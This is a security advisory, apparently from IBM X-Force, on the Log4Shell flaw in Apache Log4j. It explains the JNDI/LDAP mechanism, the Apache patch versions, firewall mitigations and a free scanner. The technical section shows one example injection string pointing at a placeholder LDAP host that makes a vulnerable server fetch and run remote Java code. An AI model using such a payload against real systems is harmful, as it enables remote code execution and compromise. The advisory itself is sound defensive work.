MITIGATION UPDATE:
If you hadn’t heard of Apache Log4j, chances are it’s on your radar now. In fact, you may have been using it for years. Log4j is a logging library. Imagine writing your daily activities into a notebook. That notebook is Log4j. Developers and programmers use it to take notes about what’s happening on applications and servers. For example, they may use it to troubleshoot a security incident, like if someone were to log into an application with the wrong password. Log4j might be used to record when the person logged in, to which application and the password they used.
Log4j is used by a very large percentage of the Java programs developed in the last decade for both server and client applications. Java is also one of the top programming languages used by businesses. That’s why, on December 9, 2021, when Chen Zhaojun of the Alibaba Cloud Security Team discovered CVE-2021-44228, a.k.a. Log4Shell, a high-severity vulnerability that affects the core function of Log4j, and a publicly available exploit, cybersecurity researchers sounded the alarm.
CVE 2021-44228 enables attackers to perform remote code execution, which means they can run any code and access all data on the affected machine. It also allows them to delete or encrypt files and hold them for ransom. Any function the impacted asset can do, attackers can do as well with the exploit. This means anything that uses a vulnerable version of Log4j to log user-controlled data can be attacked.
Webinar: Log4j Zero-Day Vulnerability — What You Need to Know Now
A Technical Dive into CVE-2021-44228
Log4j allows logged messages to contain format strings that reference outside information through the Java Naming and Directory Interface (JNDI). This allows information to be remotely retrieved across a variety of protocols, including the Lightweight Directory Access Protocol (LDAP). For example, when Log4j finds the following string in a log message, it instructs the JNDI to ask the LDAP server at 192.168.1.1 for the “information” object.
${jndi:ldap://192.168.1.1/information}
By design, JNDI will execute Java classes that an LDAP server references. Continuing the example, if the LDAP server’s response references the URL http://192.168.1.2/information, JNDI will automatically request the file information.class from the web server and execute the response.
Since the contents of log messages often contain user-controlled data, attackers can insert JNDI references pointing to LDAP servers they control, ready to serve malicious Java classes that perform any action they choose.
What’s to Come for CVE-2021-44228 and other recently disclosed vulnerabilities?
We have seen reports of attackers exploiting CVE-2021-44228, which doesn’t surprise us. Criminals will find this to be a very appealing attack technique because Log4j is popular, programs often include user-supplied data in logs, and the patch was only recently released. We expect more attacks — ransomware and others — to take place in the future.
Patching a single application isn’t too complicated, but each application needs to be tested to verify that the patch didn’t break anything. Large organizations could easily have hundreds of vulnerable applications across thousands of devices.
Apache Releases Another New Patch
(Source: https://logging.apache.org/log4j/2.x/security.html)
Patching is the number one recommended mitigation step. Apache recently released 2.17.1 after a remote code execution vulnerability was found in 2.17. You must upgrade to 2.17.1 to mitigate this vulnerability. The CVSS score on CVE-2021-44832 is 6.6 and rated as moderate. An attacker must have privileged access to execute an attack. Apache’s mitigation recommendations include:
- Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).
- In prior releases confirm that if the JDBC Appender is being used it is not configured to use any protocol other than Java.
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability. Also note that Apache Log4j is the only Logging Services subproject affected by this vulnerability. Other projects like Log4net and Log4cxx are not impacted by this.
Users are advised not to enable JNDI in any versions of Log4j.
Previously suggested mitigations other than patching Log4j or removing the JNDI Lookup feature entirely DO NOT mitigate this vulnerability.
On the preventative front, designing an environment with strong network security controls can help. In well-designed environments, for example, servers can only create network connections to explicitly approved destinations. Creating a default-deny firewall rule will prevent servers from creating unapproved connections and can help reduce your risk of a compromise. This is particularly important for servers that are exposed to the internet.
X-Force, IBM Security’s team of hackers, responders, researchers, intelligence analysts and investigators, is following the finding closely and will provide more information as our research unfolds. This disclosure is being tracked in this IBM X-Force Exchange Collection and will be updated should additional information become available.
Our researchers presented a webinar with more information. You can access the on demand recording by registering here.
X-Force has also created a scan tool to detect Log4Shell. You can access it, at no cost, here: https://github.com/xforcered/scan4log4shell
Additional assistance is available to assist 24/7 via IBM Security X-Force’s US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.
To learn more about our team, or to schedule a one-on-one conversation with our researchers about this vulnerability, visit www.ibm.com/security/xforce.
Research Baron, IBM X-Force Red
Global Head of Methodology, X-Force Red
Global Lead, X-Force Threat Intelligence, IBM Security